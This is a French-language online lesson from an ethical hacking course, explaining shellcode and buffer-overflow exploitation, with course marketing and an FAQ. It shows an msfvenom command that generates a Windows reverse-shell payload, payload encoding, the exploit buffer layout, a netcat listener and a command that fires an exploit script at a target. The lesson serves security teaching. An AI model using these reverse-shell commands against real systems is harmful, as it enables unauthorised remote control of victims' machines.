Shellcode et exploitation
Obtenir un shell
Shellcode et exploitation est une leçon Ethical Hacking Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Ethical Hacking Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Qu'est-ce que le code shell ?
Le code shell est un petit morceau de code machine qui effectue une action lorsqu'il est exécuté, classiquement l'ouverture d'un interpréteur de commandes. C'est la charge utile vers laquelle vous redirigez l'exécution après avoir contrôlé EIP.
Il est écrit sous forme d'octets bruts (opcodes) afin de pouvoir être injecté directement en mémoire.
Types de charges utiles
Les objectifs courants d'une charge utile sont notamment :
- Interpréteur de commandes lié : ouvre un port en écoute sur la victime.
- Interpréteur de commandes inversé : se connecte à l'attaquant (de préférence à travers les pare-feu et le NAT).
- Exécuter une commande : exécute une seule commande, comme l'ajout d'un utilisateur.
Les interpréteurs de commandes inversés sont les plus courants lors des engagements réels.
Générer avec msfvenom
msfvenom génère des charges utiles. Vous indiquez le type de charge utile, l'adresse et le port d'écoute, le format de sortie ainsi que les caractères interdits à éviter.
L'option -b exclut les caractères interdits ; -f définit le format de sortie.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cPourquoi l'encodage est nécessaire
Le code shell brut contient souvent des caractères interdits (comme des octets nuls). Un encodeur transforme la charge utile pour éviter ces octets, puis ajoute au début un décodeur qui restaure le code original à l'exécution.
L'encodeur classique est x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Le décodeur et l'auto-modification
Le code shell encodé se décode lui-même en mémoire avant son exécution. Cette auto-modification nécessite un peu d'espace supplémentaire sur la pile, ce qui explique notamment pourquoi un toboggan de NOP et un tampon suffisamment grand sont utiles.
Vous devez parfois ajuster ESP au préalable afin que le décodeur ne corrompe pas son propre code.
Assembler l'exploit final
Le tampon complet de l'exploit est composé de :
- Le remplissage jusqu'au décalage.
- L'adresse de retour JMP ESP.
- Un toboggan de NOP.
- Le code shell encodé.
Envoyez-le à l'entrée vulnérable pour que l'exécution se poursuive dans votre charge utile.
buf = "A"*offset + ret + "\x90"*16 + shellcodeConfiguration de l’écoute
Pour un shell inversé, vous devez écouter sur votre machine avant de déclencher l’exploit. Une simple écoute Netcat intercepte la connexion entrante.
Pour les charges utiles par étapes, utilisez plutôt multi/handler de Metasploit.
nc -lvnp 4444Déclenchement de l’exploit
Une fois l’écoute prête, envoyez le tampon conçu à la cible. Si tout s’aligne, le shellcode s’exécute et votre écoute reçoit un shell sur la machine victime.
Vous disposez alors d’une exécution de commandes avec les privilèges du processus vulnérable.
python exploit.py 10.0.0.20 9999Dépannage
En cas d’échec, vérifiez les causes courantes :
- Un caractère problématique s’est glissé dans le shellcode ou l’adresse de retour.
- Le traîneau de NOP est trop court.
- Le décodeur ne disposait pas de suffisamment d’espace sur la pile (ajustez ESP).
- Décalage ou ordre des octets incorrect.
Un débogage méthodique dans le débogueur permet d’isoler le problème.
Au-delà du dépassement classique
Lorsque DEP et ASLR sont activés, un shellcode placé directement sur la pile ne s’exécute pas. Les exploitations modernes utilisent la programmation orientée retour (ROP) pour enchaîner des gadgets de code existants, ainsi que des fuites d’informations pour contourner ASLR.
Ce cours vous a enseigné les fondations sur lesquelles reposent ces techniques avancées.
Par étapes ou sans étapes
Les charges utiles existent sous deux formes. Une charge utile sans étapes contient tout le shellcode dans un seul bloc. Une charge utile par étapes envoie un petit fragment qui télécharge le reste depuis votre gestionnaire.
Les charges utiles par étapes tiennent dans des tampons plus petits, mais nécessitent un gestionnaire correspondant, comme multi/handler de Metasploit, pour fournir la deuxième étape.
Vérification rapide
Rappelez-vous pourquoi le shellcode est souvent encodé.
Récapitulatif
Vous avez terminé la chaîne d’exploitation :
- Le shellcode est la charge utile : les shells inversés sont les plus pratiques.
- Générez-le et encodez-le avec msfvenom pour éviter les caractères problématiques.
- Assemblez le remplissage + JMP ESP + traîneau de NOP + shellcode, démarrez une écoute, puis déclenchez l’exploit.
- Les cibles modernes nécessitent la ROP et des fuites d’informations pour contourner DEP/ASLR.
Vous avez terminé le cours sur l’exploitation des dépassements de tampon.
Questions Fréquemment Posées
La leçon « Shellcode et exploitation » est-elle gratuite ?
Oui — le texte complet de « Shellcode et exploitation » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Ethical Hacking Academy, passe à CoddyKit PRO. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Shellcode et exploitation » ?
Obtenir un shell Tu pratiques Ethical Hacking Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Ethical Hacking Academy ?
Aucune expérience préalable n'est requise. Ethical Hacking Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.
Combien de temps prend la leçon « Shellcode et exploitation » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Ethical Hacking Academy ?
Oui. Chaque leçon Ethical Hacking Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Mémoire et pile
- Fuzzing pour provoquer des plantages
- Contrôler EIP
- Shellcode et exploitation